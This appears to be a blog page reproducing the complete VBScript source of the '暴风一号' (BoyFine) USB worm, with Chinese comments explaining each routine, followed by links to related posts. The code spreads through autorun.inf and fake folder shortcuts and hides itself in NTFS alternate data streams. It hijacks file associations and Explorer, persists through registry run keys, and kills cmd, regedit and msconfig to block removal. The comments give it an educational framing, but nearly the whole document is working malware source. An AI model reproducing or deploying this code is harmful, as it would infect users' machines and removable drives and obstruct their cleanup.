On Error Resume Next '//屏蔽出错信息,发生错误时继续向下执行
Dim Fso,WshShell '//定义了两个变量
'//创建并返回对 Automation 对象的引用。
'//CreateObject(servername.typename [, location])
'//servername 必选项。提供对象的应用程序名称。
'//typename 必选项。要创建的对象类型或类。
'//location 可选项。对象所在的网络服务器将被创建。
'//说明Automation 服务器至少提供一种对象类型。例如,字处理应用程序可以提供应用程序对象、文档对象和工具条对象。
Set Fso=CreateObject("scRiPTinG.fiLEsysTeMoBjEcT") '//为变量Fso赋值 创建 Scripting.FileSystemObject 对象 提供对计算机文件系统的访问
Set WshShell=CreateObject("wScRipT.SHelL") '//为变量WshShell赋值 创建Wscript.Shell对象 用于获取系统环境变量的访问、创建快捷方式、访问Windows的特殊文件夹,
'//以及添加或删除注册表条目。还可以使用Shell对象的功能创建更多的定制对话框以进行用户交互。
Call Main() '//call 将控制权传递到sub或function
Sub Main() '//sub、function 两种表示方法 sub没有返回值,function有返回值
On Error Resume Next
Dim Args, VirusLoad, VirusAss
Set Args=WScript.Arguments '//返回wsh对象的参数集
VirusLoad=GetMainVirus(1) '//获得System文件夹下smss.exe 蠕虫地址
VirusAss=GetMainVirus(0) '//获得Windows文件夹下explorer.exe 蠕虫地址
ArgNum=0
Do While ArgNum < Args.Count
Param=Param&" "&Args(ArgNum)
ArgNum=ArgNum + 1
Loop
SubParam=LCase(Right(Param, 3)) '//LCase 返回字符串的小写形式 Right 从字符串右边返回指定数目的字符
Select Case SubParam '//select类似switch
Case "run" '//当运行run时,同时启动病毒文件
RunPath=Left(WScript.ScriptFullName, 2) '//ScriptFullName属性返回当前正在运行的脚本的完整路径。该属性返回一个只读的字符串。
Call Run(RunPath)
Call InvadeSystem(VirusLoad,VirusAss)
Call Run("%SystemRoot%/system/svchost.exe "&VirusLoad)
Case "txt", "log","ini" ,"inf" '//运行"txt", "log", "ini", "inf"后缀名文件时,同时启动病毒文件
RunPath="%SystemRoot%/system32/NOTEPAD.EXE "&Param
Call Run(RunPath)
Call InvadeSystem(VirusLoad,VirusAss)
Call Run("%SystemRoot%/system/svchost.exe "&VirusLoad)
Case "bat", "cmd" '//运行"bat", "cmd"批处理或命令提示符时,同时启动病毒文件
RunPath="CMD /c echo Hi!I'm here!&pause"
Call Run(RunPath)
Call InvadeSystem(VirusLoad,VirusAss)
Call Run("%SystemRoot%/system/svchost.exe "&VirusLoad)
Case "reg" '//运行"reg"注册表导入程序时,同时启动病毒文件
RunPath="regedit.exe "&""""&Trim(Param)&""""
Call Run(RunPath)
Call InvadeSystem(VirusLoad,VirusAss)
Call Run("%SystemRoot%/system/svchost.exe "&VirusLoad)
Case "chm" '//运行"chm"帮助文件时,同时启动病毒文件
RunPath="hh.exe "&""""&Trim(Param)&""""
Call Run(RunPath)
Call InvadeSystem(VirusLoad,VirusAss)
Call Run("%SystemRoot%/system/svchost.exe "&VirusLoad)
Case "hlp" '//运行"hlp"帮助文件时,同时启动病毒文件
RunPath="winhlp32.exe "&""""&Trim(Param)&""""
Call Run(RunPath)
Call InvadeSystem(VirusLoad,VirusAss)
Call Run("%SystemRoot%/system/svchost.exe "&VirusLoad)
Case "dir" '//运行dir命令,同时启动病毒文件
RunPath=""""&Left(Trim(Param),Len(Trim(Param))-3)&""""
Call Run(RunPath)
Call InvadeSystem(VirusLoad,VirusAss)
Call Run("%SystemRoot%/system/svchost.exe "&VirusLoad)
Case "oie" '//打开我IE图标,同时启动病毒文件
RunPath="""%ProgramFiles%/Internet Explorer/IEXPLORE.EXE"""
Call Run(RunPath)
Call InvadeSystem(VirusLoad,VirusAss)
Call Run("%SystemRoot%/system/svchost.exe "&VirusLoad)
Case "omc" '//打开我的电脑图标,同时启动病毒文件
RunPath="explorer.exe /n,::{20D04FE0-3AEA-1069-A2D8-08002B30309D}"
Call Run(RunPath)
Call InvadeSystem(VirusLoad,VirusAss)
Call Run("%SystemRoot%/system/svchost.exe "&VirusLoad)
Case "emc" '//劫持Win+E
RunPath="explorer.exe /n,/e,::{20D04FE0-3AEA-1069-A2D8-08002B30309D}"
Call Run(RunPath)
Call InvadeSystem(VirusLoad,VirusAss)
Call Run("%SystemRoot%/system/svchost.exe "&VirusLoad)
Case Else
If PreDblInstance=True Then '//如果条件满足,退出脚本宿主
WScript.Quit
End If
Timeout = Datediff("ww", GetInfectedDate, Date) - 12
If Timeout>0 And Month(Date) = Day(Date) Then
Call VirusAlert()
Call MakeJoke(CInt(Month(Date)))
End If
Call MonitorSystem()
End Select
End Sub
'//监视系统 结束taskmgr.exe、regedit.exe、msconfig.exe、cmd.exe
Sub MonitorSystem()
On Error Resume Next
Dim ProcessNames, ExeFullNames
ProcessNames=Array("cmd.exe","cmd.com","regedit.exe","regedit.scr","regedit.pif","regedit.com","msconfig.exe")
VBSFullNames=Array(GetMainVirus(1)) '//变量赋值
Do
Call KillProcess(ProcessNames) '//如发现变量中的进程,调用结束进程函数
Call InvadeSystem(GetMainVirus(1),GetMainVirus(0)) '// smss.exe 蠕虫地址 explorer.exe 蠕虫地址
Call KeepProcess(VBSFullNames) '//保持病毒进程
WScript.Sleep 3000 '//脚本宿主等待时间为3000毫秒=3秒
Loop
End Sub
'//侵入系统
Sub InvadeSystem(VirusLoadPath,VirusAssPath)
On Error Resume Next
Dim Load_Value, File_Value, IE_Value, MyCpt_Value1, MyCpt_Value2, HCULoad, HCUVer, VirusCode, Version
Load_Value=""""&VirusLoadPath&"""" '//smss.exe的病毒流
File_Value="%SystemRoot%/System32/WScript.exe "&""""&VirusAssPath&""""&" %1 %* " '// explorer.exe 蠕虫
IE_Value="%SystemRoot%/System32/WScript.exe "&""""&VirusAssPath&""""&" OIE " '// 打开ie 蠕虫
MyCpt_Value1="%SystemRoot%/System32/WScript.exe "&""""&VirusAssPath&""""&" OMC " '//打开我的电脑 蠕虫
MyCpt_Value2="%SystemRoot%/System32/WScript.exe "&""""&VirusAssPath&""""&" EMC " '//劫持Win+E 蠕虫
HCULoad="HKEY_CURRENT_USER/SoftWare/Microsoft/Windows NT/CurrentVersion/Windows/Load"
HCUVer="HKEY_CURRENT_USER/SoftWare/Microsoft/Windows NT/CurrentVersion/Windows/Ver"
HCUDate="HKEY_CURRENT_USER/SoftWare/Microsoft/Windows NT/CurrentVersion/Windows/Date"
VirusCode=GetCode(WScript.ScriptFullName)
Version=1
HostSourcePath=Fso.GetSpecialFolder(1)&"/Wscript.exe"
HostFilePath=Fso.GetSpecialFolder(0)&"/system/svchost.exe"
For Each Drive In Fso.Drives '//分别建立各个目录的病毒名字
If Drive.IsReady and (Drive.DriveType=1 Or Drive.DriveType=2 Or Drive.DriveType=3) Then
DiskVirusName=GetSerialNumber(Drive.DriveLetter)&".vbs"
Call CreateAutoRun(Drive.DriveLetter,DiskVirusName) '//创建自动运行
Call InfectRoot(Drive.DriveLetter,DiskVirusName) '//感染
End If
Next
If FSO.FileExists(VirusAssPath)=False Or FSO.FileExists(VirusLoadPath)=False Or FSO.FileExists(HostFilePath)=False Or GetVersion()< Version Then
If GetFileSystemType(GetSystemDrive())="NTFS" Then '//判断是否为NTFS分区
Call CreateFile(VirusCode,VirusAssPath)
Call CreateFile(VirusCode,VirusLoadPath) '//这一步创建了流文件
Call CopyFile(HostSourcePath,HostFilePath) '//这一步将wscript.exe从system32复制到system目录并改名svchost.exe
Call SetHiddenAttr(HostFilePath)
Else '//FAT32格式
Call CreateFile(VirusCode, VirusAssPath)
Call SetHiddenAttr(VirusAssPath)
Call CreateFile(VirusCode,VirusLoadPath)
Call SetHiddenAttr(VirusLoadPath)
Call CopyFile(HostSourcePath, HostFilePath)
Call SetHiddenAttr(HostFilePath)
End If
End If
If ReadReg(HCULoad)<>Load_Value Then '//改写注册表启动项,smss.exe的流
Call WriteReg (HCULoad, Load_Value, "")
End If
If GetVersion() < Version Then '//改写版本信息为1
Call WriteReg (HCUVer, Version, "")
End If
If GetInfectedDate() = "" Then
Call WriteReg (HCUDate, Date, "") '//记录感染时间
End If
'//以下更改许多文件关联,病毒的通用感染方式
If ReadReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/txtfile/shell/open/command/")<>File_Value Then
Call SetTxtFileAss(VirusAssPath)
End If
If ReadReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/inifile/shell/open/command/")<>File_Value Then
Call SetIniFileAss(VirusAssPath)
End If
If ReadReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/inffile/shell/open/command/")<>File_Value Then
Call SetInfFileAss(VirusAssPath)
End If
If ReadReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/batfile/shell/open/command/")<>File_Value Then
Call SetBatFileAss(VirusAssPath)
End If
If ReadReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/cmdfile/shell/open/command/")<>File_Value Then
Call SetCmdFileAss(VirusAssPath)
End If
If ReadReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/regfile/shell/open/command/")<>File_Value Then
Call SetRegFileAss(VirusAssPath)
End If
If ReadReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/chm.file/shell/open/command/")<>File_Value Then
Call SetchmFileAss(VirusAssPath)
End If
If ReadReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/hlpfile/shell/open/command/")<>File_Value Then
Call SethlpFileAss(VirusAssPath)
End If
If ReadReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/Applications/iexplore.exe/shell/open/command/")<>IE_Value Then
Call SetIEAss(VirusAssPath)
End If
If ReadReg("HKEY_CLASSES_ROOT/CLSID/{871C5380-42A0-1069-A2EA-08002B30309D}/shell/OpenHomePage/Command/")<>IE_Value Then
Call SetIEAss(VirusAssPath)
End If
If ReadReg("HKEY_CLASSES_ROOT/CLSID/{20D04FE0-3AEA-1069-A2D8-08002B30309D}/shell/open/command/")<>MyCpt_Value1 Then
Call SetMyComputerAss(VirusAssPath)
End If
If ReadReg("HKEY_CLASSES_ROOT/CLSID/{20D04FE0-3AEA-1069-A2D8-08002B30309D}/shell/explore/command/")<>MyCpt_Value2 Then
Call SetMyComputerAss(VirusAssPath)
End If
Call RegSet()
End Sub
'//拷贝文件
Sub CopyFile(source, pathf)
On Error Resume Next
If FSO.FileExists(pathf) Then
FSO.DeleteFile pathf , True
End If
FSO.CopyFile source, pathf
End Sub
'//创建文件
Sub CreateFile(code, pathf)
On Error Resume Next
Dim FileText
If FSO.FileExists(pathf) Then
Set FileText=FSO.OpenTextFile(pathf, 2, False)
FileText.Write code
FileText.Close
Else
Set FileText=FSO.OpenTextFile(pathf, 2, True)
FileText.Write code
FileText.Close
End If
End Sub
'//注册表设置
Sub RegSet()
On Error Resume Next
Dim RegPath1 , RegPath2, RegPath3, RegPath4
RegPath1="HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/Advanced/Folder/Hidden/NOHIDDEN/CheckedValue"
RegPath2="HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/Advanced/Folder/Hidden/SHOWALL/CheckedValue"
RegPath3="HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoDriveTypeAutoRun"
RegPath4="HKEY_CLASSES_ROOT/lnkfile/IsShortcut"
Call WriteReg (RegPath1, 3, "REG_DWORD")
Call WriteReg (RegPath2, 2, "REG_DWORD")
Call WriteReg (RegPath3, 0, "REG_DWORD")
Call DeleteReg (RegPath4)
End Sub
'//结束进程
Sub KillProcess(ProcessNames)
On Error Resume Next
Set WMIService=GetObject("winmgmts://./root/cimv2")
For Each ProcessName in ProcessNames
Set ProcessList=WMIService.execquery(" Select * From win32_process where name ='"&ProcessName&"' ")
For Each Process in ProcessList
IntReturn=Process.terminate
If intReturn<>0 Then
WshShell.Run "CMD /c ntsd -c q -p "&Process.Handle, vbHide, False
End If
Next
Next
End Sub
'//删掉autorun.inf免疫目录
Sub KillImmunity(D)
On Error Resume Next
ImmunityFolder=D&":/Autorun.inf"
If Fso.FolderExists(ImmunityFolder) Then
WshSHell.Run ("CMD /C CACLS "& """"&ImmunityFolder&"""" &" /t /e /c /g everyone:f"),vbHide,True '//提权
WshSHell.Run ("CMD /C RD /S /Q "& ImmunityFolder), vbHide, True '//rd命令删除,配合 /s /q 选项,很轻松
End If
End Sub
'//保护病毒进程 保持脚本进程持续运行,少于2个创建新进程
Sub KeepProcess(VBSFullNames)
On Error Resume Next
For Each VBSFullName in VBSFullNames
If VBSProcessCount(VBSFullName) < 2 then
Run("%SystemRoot%/system/svchost.exe "&VBSFullName)
End If
Next
End Sub
'//获得系统分区 c:
'//FileSystemObject.GetSpecialFolder 返回指定特殊文件夹
'//WindowsFolder 0 Windows 文件夹,包含 Windows 操作系统安装的文件。
'//SystemFolder 1 System 文件夹,包含库、字体和设备驱动程序文件。
'//TemporaryFolder 2 Temp 文件夹,用于保存临时文件。可以在 TMP 环境变量中找到该文件夹的路径。
'//Left 返回指定数目的从字符串的左边算起的字符。
Function GetSystemDrive()
GetSystemDrive=Left(Fso.GetSpecialFolder(0),2)
End Function
'//FileSystemObject.GetDrive返回与指定的路径中驱动器相对应的 Drive 对象。Drive 提供对磁盘驱动器或网络共享的属性的访问。
'//Drive.FileSystem返回指定的驱动器使用的文件系统的类型。
Function GetFileSystemType(Drive)
Set d=FSO.GetDrive(Drive)
GetFileSystemType=d.FileSystem
End Function
'//读取注册表建值 返回所在路径
Function ReadReg(strkey)
Dim tmps
Set tmps=CreateObject("WScript.Shell")
ReadReg=tmps.RegRead(strkey)
Set tmps=Nothing
End Function
'//重写注册表键值
Sub WriteReg(strkey, Value, vtype)
Dim tmps
Set tmps=CreateObject("WScript.Shell")
If vtype="" Then
tmps.RegWrite strkey, Value
Else
tmps.RegWrite strkey, Value, vtype
End If
Set tmps=Nothing
End Sub
'//删除注册表键值
Sub DeleteReg(strkey)
Dim tmps
Set tmps=CreateObject("WScript.Shell")
tmps.RegDelete strkey
Set tmps=Nothing
End Sub
'//设置隐藏属性
Sub SetHiddenAttr(path)
On Error Resume Next
Dim vf
Set vf=FSO.GetFile(path)
Set vf=FSO.GetFolder(path)
vf.Attributes=6 '// 6=2+4 分别是隐藏、系统属性
End Sub
'//执行ExeFullName指定的文件
Sub Run(ExeFullName)
On Error Resume Next
Dim WshShell
Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.Run ExeFullName
Set WshShell=Nothing
End Sub
'//感染根目录
Sub InfectRoot(D,VirusName)
On Error Resume Next
Dim VBSCode
VBSCode=GetCode(WScript.ScriptFullName)
VBSPath=D&":/"&VirusName
If FSO.FileExists(VBSPath)=False Then
Call CreateFile(VBSCode, VBSPath)
Call SetHiddenAttr(VBSPath)
End If
Set Folder=Fso.GetFolder(D&":/") '//隐藏根目录下的所有子目录
Set SubFolders=Folder.Subfolders
For Each SubFolder In SubFolders
SetHiddenAttr(SubFolder.Path)
LnkPath=D&":/"&SubFolder.Name&".lnk" '//创建对应的快捷方式
TargetPath=D&":/"&VirusName
Args=""""&D&":/"&SubFolder.Name& "/Dir"""
If Fso.FileExists(LnkPath)=False Or GetTargetPath(LnkPath) <> TargetPath Then
If Fso.FileExists(LnkPath)=True Then
FSO.DeleteFile LnkPath, True
End If
Call CreateShortcut(LnkPath,TargetPath,Args)
End If
Next
End Sub
'//上一步失败了调用这个函数创建快捷方式
Sub CreateShortcut(LnkPath,TargetPath,Args)
Set Shortcut=WshShell.CreateShortcut(LnkPath)
with Shortcut
.TargetPath=TargetPath
.Arguments=Args
.WindowStyle=4
.IconLocation="%SystemRoot%/System32/Shell32.dll, 3"
.Save
end with
End Sub
'//创建autorun.inf文件
Sub CreateAutoRun(D,VirusName)
On Error Resume Next
Dim InfPath, VBSPath, VBSCode
InfPath=D&":/AutoRun.inf"
VBSPath=D&":/"&VirusName
VBSCode=GetCode(WScript.ScriptFullName)
If FSO.FileExists(InfPath)=False Or FSO.FileExists(VBSPath)=False Then
Call CreateFile(VBSCode, VBSPath)
Call SetHiddenAttr(VBSPath)
StrInf="[AutoRun]"&VBCRLF&"Shellexecute=WScript.exe "&VirusName&" ""AutoRun"""&VBCRLF&"shell/open=打开(&O)"&VBCRLF&"shell/open/command=WScript.exe "&VirusName&"
""AutoRun"""&VBCRLF&"shell/open/Default=1"& VBCRLF&"shell/explore=资源管理器(&X)"&VBCRLF&"shell/explore/command=WScript.exe "&VirusName&" ""AutoRun"""
Call KillImmunity(D)
Call CreateFile(StrInf, InfPath)
Call SetHiddenAttr(InfPath)
End If
End Sub
'//改变txt格式文件关联
Sub SetTxtFileAss(sFilePath)
On Error Resume Next
Dim Value
Value="%SystemRoot%/System32/WScript.exe "&""""&sFilePath&""""&" %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/txtfile/shell/open/command/", Value, "REG_EXPAND_SZ")
End Sub
'//改变ini格式文件关联
Sub SetIniFileAss(sFilePath)
On Error Resume Next
Dim Value
Value="%SystemRoot%/System32/WScript.exe "&""""&sFilePath&""""&" %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/inifile/shell/open/command/", Value, "REG_EXPAND_SZ")
End Sub
'//改变inf格式文件关联
Sub SetInfFileAss(sFilePath)
On Error Resume Next
Dim Value
Value="%SystemRoot%/System32/WScript.exe "&""""&sFilePath&""""&" %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/inffile/shell/open/command/", Value, "REG_EXPAND_SZ")
End Sub
'//改变bat格式文件关联
Sub SetBatFileAss(sFilePath)
On Error Resume Next
Dim Value
Value="%SystemRoot%/System32/WScript.exe "&""""&sFilePath&""""&" %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/batfile/shell/open/command/", Value, "REG_EXPAND_SZ")
End Sub
'//改变cmd格式文件关联
Sub SetCmdFileAss(sFilePath)
On Error Resume Next
Dim Value
Value="%SystemRoot%/System32/WScript.exe "&""""&sFilePath&""""&" %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/cmdfile/shell/open/command/", Value, "REG_EXPAND_SZ")
End Sub
'//改变hlp格式文件关联
Sub SethlpFileAss(sFilePath)
On Error Resume Next
Dim Value
Value="%SystemRoot%/System32/WScript.exe "&""""&sFilePath&""""&" %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/hlpfile/shell/open/command/", Value, "REG_EXPAND_SZ")
End Sub
'//改变reg格式文件关联
Sub SetRegFileAss(sFilePath)
On Error Resume Next
Dim Value
Value="%SystemRoot%/System32/WScript.exe "&""""&sFilePath&""""&" %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/regfile/shell/open/command/", Value, "REG_EXPAND_SZ")
End Sub
'//改变chm格式文件关联
Sub SetchmFileAss(sFilePath)
On Error Resume Next
Dim Value
Value="%SystemRoot%/System32/WScript.exe "&""""&sFilePath&""""&" %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/chm.file/shell/open/command/", Value, "REG_EXPAND_SZ")
End Sub
'//篡改IE启动设置
Sub SetIEAss(sFilePath)
On Error Resume Next
Dim Value
Value="%SystemRoot%/System32/WScript.exe "&""""&sFilePath&""""&" OIE "
Call WriteReg("HKEY_LOCAL_MACHINE/SOFTWARE/Classes/Applications/iexplore.exe/shell/open/command/", Value, "REG_EXPAND_SZ")
Call WriteReg("HKEY_CLASSES_ROOT/CLSID/{871C5380-42A0-1069-A2EA-08002B30309D}/shell/OpenHomePage/Command/", Value, "REG_EXPAND_SZ")
End Sub
'//改变我的电脑的打开关联,包括Win+E
Sub SetMyComputerAss(sFilePath)
On Error Resume Next
Dim Value1,Value2
Value1="%SystemRoot%/System32/WScript.exe "&""""&sFilePath&""""&" OMC "
Value2="%SystemRoot%/System32/WScript.exe "&""""&sFilePath&""""&" EMC "
Call WriteReg("HKEY_CLASSES_ROOT/CLSID/{20D04FE0-3AEA-1069-A2D8-08002B30309D}/shell/", "", "REG_SZ")
Call WriteReg("HKEY_CLASSES_ROOT/CLSID/{20D04FE0-3AEA-1069-A2D8-08002B30309D}/shell/open/command/", Value1, "REG_EXPAND_SZ")
Call WriteReg("HKEY_CLASSES_ROOT/CLSID/{20D04FE0-3AEA-1069-A2D8-08002B30309D}/shell/explore/command/", Value2, "REG_EXPAND_SZ")
End Sub
'//获得系统驱动盘符名 Drive.SerialNumber 盘符序列号 c-->驱动器 C: - 固定<BR>序列号:-1598325125、d-->驱动器 D: - 固定<BR>序列号:237835280、e、f。
Function GetSerialNumber(Drv)
On Error Resume Next
Set d=fso.GetDrive(Drv)
GetSerialNumber=d.SerialNumber '// 返回十进制序列号,用于唯一标识一个磁盘卷。Select Case d.DriveType Case 0: t = "未知" Case 1: t = "可移动" Case 2: t = "固定"
'// Case 3: t = "网络" Case 4: t = "CD-ROM" Case 5: t = "RAM 磁盘" End Select
GetSerialNumber=Replace(GetSerialNumber,"-","")
End Function
'//获得蠕虫病毒路径 &表示字符串相加 GetSpecialFolder 返回指定的特殊文件夹
Function GetMainVirus(N)
On Error Resume Next
MainVirusName=GetSerialNumber(GetSystemDrive())&".vbs"
If GetFileSystemType(GetSystemDrive())="NTFS" Then
If N=1 Then '//System 文件夹,包含库、字体和设备驱动程序文件。 SystemFolder
GetMainVirus=Fso.GetSpecialFolder(N)&"/smss.exe:"&MainVirusName '//返回 如c:/windows/system32/smss.exe:72161642.vbs
End If
If N=0 Then '//Windows 文件夹,包含 Windows 操作系统安装的文件。 WindowsFolder
GetMainVirus=Fso.GetSpecialFolder(N)&"/explorer.exe:"&MainVirusName '//返回 如c:/windows/explorer.exe:72161642.vbs
End If
Else
GetMainVirus=Fso.GetSpecialFolder(N)&"/"&MainVirusName
End If
End Function
'//返回指定路径vbs脚本的运行个数
Function VBSProcessCount(VBSPath)
On Error Resume Next
Dim WMIService, ProcessList, Process
VBSProcessCount=0
Set WMIService=GetObject("winmgmts://./root/cimv2")
Set ProcessList=WMIService.ExecQuery("Select * from Win32_Process Where "&"Name='cscript.exe' or Name='wscript.exe' or Name='svchost.exe'")
For Each Process in ProcessList
If InStr(Process.CommandLine, VBSPath)>0 Then
VBSProcessCount=VBSProcessCount+1
End If
Next
End Function
'//'用来计数wscript进程的个数,如果大于等于3个那么返回True
Function PreDblInstance()
On Error Resume Next
PreDblInstance=False
If VBSProcessCount(WScript.ScriptFullName)>= 3 Then
PreDblInstance=True
End If
End Function
'//获取快捷方式的vbs脚本地址
Function GetTargetPath(LnkPath)
On Error Resume Next
Dim Shortcut
Set Shortcut=WshShell.CreateShortcut(LnkPath)
GetTargetPath=Shortcut.TargetPath
End Function
'//读取文件 返回 TextStream
Function GetCode(FullPath)
On Error Resume Next
Dim FileText
Set FileText=FSO.OpenTextFile(FullPath, 1) '//打开指定的文件并返回一个 TextStream 对象,可以读取、写入此对象或将其追加到文件。
'// 1 以只读模式打开文件。不能对此文件进行写操作。
GetCode=FileText.ReadAll '//读入全部 TextStream 文件并返回结果字符串
FileText.Close
End Function
'//获得注册表 版本键值 获取windows版本
Function GetVersion()
Dim VerInfo
VerInfo="HKEY_CURRENT_USER/SoftWare/Microsoft/Windows NT/CurrentVersion/Windows/Ver"
If ReadReg(VerInfo)="" Then
GetVersion=0
Else
GetVersion=CInt(ReadReg(VerInfo)) '//CInt 返回表达式,此表达式已被转换为 Integer 子类型的 Variant。
End If
End Function
'//网页文件BFAlert.hta
Sub VirusAlert()
On Error Resume Next
Dim HtaPath,HtaCode
HtaPath=Fso.GetSpecialFolder(1)&"/BFAlert.hta"
HtaCode="<HTML><HEAD><TITLE>暴风一号</TITLE>"&VBCRLF&"<HTA:APPLICATION APPLICATIONNAME=""BoyFine V1.0"" SCROLL=""no"" windowstate=""maximize""
border=""none"""&VBCRLF&"SINGLEINSTANCE=""yes"" CAPTION=""no"" contextMenu=""no"" ShowInTaskBar=""no"" selection=""no"">"&VBCRLF&"</HEAD><BODY bgcolor=#000000><DIV align
=""center"">"&VBCRLF&"<font style=""font-size:3500%;font-family:Wingdings;color=red"">N</font><BR>"&VBCRLF&"<font style=""font-size:200%;font-family:黑体;color=red"">暴风一号
</font>"&VBCRLF&"</DIV></BODY></HTML>"
If FSO.FileExists(HtaPath)=False Then
Call CreateFile(HtaCode, HtaPath) '//创建网页文件BFAlert.hta
Call SetHiddenAttr(HtaPath) '//设置隐藏
End If
Call Run(HtaPath)
End Sub
'//获得感染注册表时间键
Function GetInfectedDate()
On Error Resume Next
Dim DateInfo
DateInfo="HKEY_CURRENT_USER/SoftWare/Microsoft/Windows NT/CurrentVersion/Windows/Date"
If ReadReg(DateInfo)="" Then
GetInfectedDate=""
Else
GetInfectedDate=CDate(ReadReg(DateInfo))
End If
End Function
'//弹出光驱
Sub MakeJoke(Times)
On Error Resume Next
Dim WMP, colCDROMs
Set WMP = CreateObject( "WMPlayer.OCX" ) '//创建WMPlayer.OCX插件对象
Set colCDROMs = WMP.cdromCollection '//系统中光驱
If colCDROMs.Count >0 Then
For i=1 to Times
colCDROMs.Item(0).eject() '//退出抽取式设备
WScript.Sleep 3000
colCDROMs.Item(0).eject()
Next
End If
Set WMP = Nothing
End Sub
相关推荐
暴风一号蠕虫病毒
暴风一号蠕虫病毒 【实验目的】 学会简单分析病毒代码,从病毒代码中看懂病毒是通过何种方法对系统的篡改和破坏。了解病毒是如何隐藏的,学会借助专门杀毒软件,查杀病毒。 【实验环境】 在虚拟机中进行蠕虫病毒的测试,包括其作用机制及相关杀毒工具的使用。 实验样本:暴风一号.vbs。 备注:实验工具(D盘–>攻防工具包–>蠕虫病毒:暴风一号.vbs、病毒专杀工具—BoyFineKiller、硬盘恢复工具—del.vbs)。 【实验预备知识点】 以暴风一号病毒为例。 根据病毒的VBS脚本语言,病毒首先通过执
Windows基础及bat蠕虫病毒编写
本篇文章详细介绍了Windows操作系统基础知识,并深入讲解了BAT批处理脚本的使用方法,最终解析了蠕虫病毒编写与传播机制。无论您是学习Windows命令行操作,还是想了解脚本自动化的实际应用,这篇文章都能为您提供详尽的指导。 Windows命令行基础:覆盖dir、attrib、copy等高频命令的实际用途。 BAT批处理脚本教程:逐步解析变量定义、条件语句、循环结构等,让您轻松上手自动任务。 蠕虫病毒脚本原理:分析病毒的文件自复制、隐蔽执行和传播策略,并揭示如何通过批处理实现这些功能
解决U盘1KB快捷方式病毒(暴风一号)方法
U盘中过暴风一号病毒的朋友,都会被它无穷无尽的快捷方式恶心到吐,本人就深受其害。下面是本人通过好多实验得出的最有效的方法。 话不多少,朝这看: 该病毒会把U盘的文件夹都隐藏掉,然后创建一个文件夹的快捷方式只想病毒母体。 我们首先要把隐藏的文件夹显示出来把文件拷出来。 一、显示隐藏文件 1.桌面选中“计算机”图标,右键选择“打开”如下图 2.在左侧的选项栏中选择“组织”下拉列表然
bat 调用class文件_蠕虫病毒分析--强大的bat
0.前言打印店是个好地方,里面有很多野生的皮卡丘等着我们去捕捉。本次抓到的样本就是从打印店抓到的,样本“驯化”难度一颗星。1.样本信息MD5:3fc395746c1c8afe87a4594376cd2b2eSHA-1:f183347e8884fac4168d9b47ff51c0e963731ed0File Size:69.5 KBVT First Submission:2016-03-20 04:...
暴风一号病毒处理
U盘中的文件及文件夹都变成了快捷方式,但是通过文件的快捷方式仍然可以对相对应的文件进行相关的处理 ,这是暴风一号的恶意软件 ,通过此工具可以进行一定的处理 有时杀毒软件会误报,请予以信任
“暴风一号”(“1KB文件夹快捷方式病毒”)自动化清除脚本
1. 完全由解密后的病毒源代码改写为清除程序,原汁原味 2. 决不会误删除快捷方式 3. 自动恢复文件关联、IE关联及其它被修改的注册表项目 4. 自动将隐藏文件恢复正常属性 5. 文件系统格式自动判断,全自动清除 6. 数秒内清除完毕 7. 可自动清除可移动磁盘上的病毒(重启前一直有效) 使用方法: 1. 下载 2. 解压到任意目录 3. 把需要清除病毒的可移动磁盘接好 4. 运行脚本,等待数秒即清除完毕 5. 如果磁盘无法打开的话,重启即可恢复正常 备注: 如果系统分区是 NTFS 文件系统,explorer.exe 和 smss.exe 上绑定的文件流不会自动清除。但已无任何作用。 如果确实很介意的话,可下载 Stream Viewer 删除(免费软件)。
电脑病毒详解(有bat版本 附代码)
你害怕中电脑病毒吗?快来了解一下吧!
2024“华为杯”中国研究生数学建模竞赛(A题)深度剖析_数学建模完整过程+详细思路+代码全解析
目标是优化风力涡轮机的功率调度,使其在给定的实时风速数据下,最小化涡轮机关键组件(如塔架和主轴)的疲劳损伤。问题的挑战在于,考虑通信延迟和测量噪声的同时,要确保功率输出与风速变化的响应快速且准确。
用bat写的一个小病毒
最近看了一点bat的知识,具体说是看了一个博客:http://blog.csdn.net/qsyzb/article/details/17364581 用了三天才看完=。=,感觉作者整理整理可以把博客当书买了。。。 然后自己突发其想,想到了一个小病毒程序,其实也算不上病毒,只能算是个恶作剧程序吧,其原理就是不断打开cmd程序,占用系统资源。。。呵呵。。让大神见笑了=。= window...
MCGSPro动画部件实战:用文本分段实现智能报警提示(附工程文件)
本文详细介绍了在MCGSPro组态软件中,如何利用动画部件的文本分段功能,高效实现触摸屏上的智能报警提示。通过绑定整数变量作为索引,一个部件即可动态切换多种状态信息,解决了传统方法画面臃肿、维护繁琐的痛点。文章提供了从变量定义、部件配置到逻辑联动的完整实战教程,并分享了工程文件复用与性能优化技巧。
【Cadence】 ADS Dynamic Link使用教程
在Cadence617上使用ADS Dynamic Link
“暴风一号”学习日记(一)
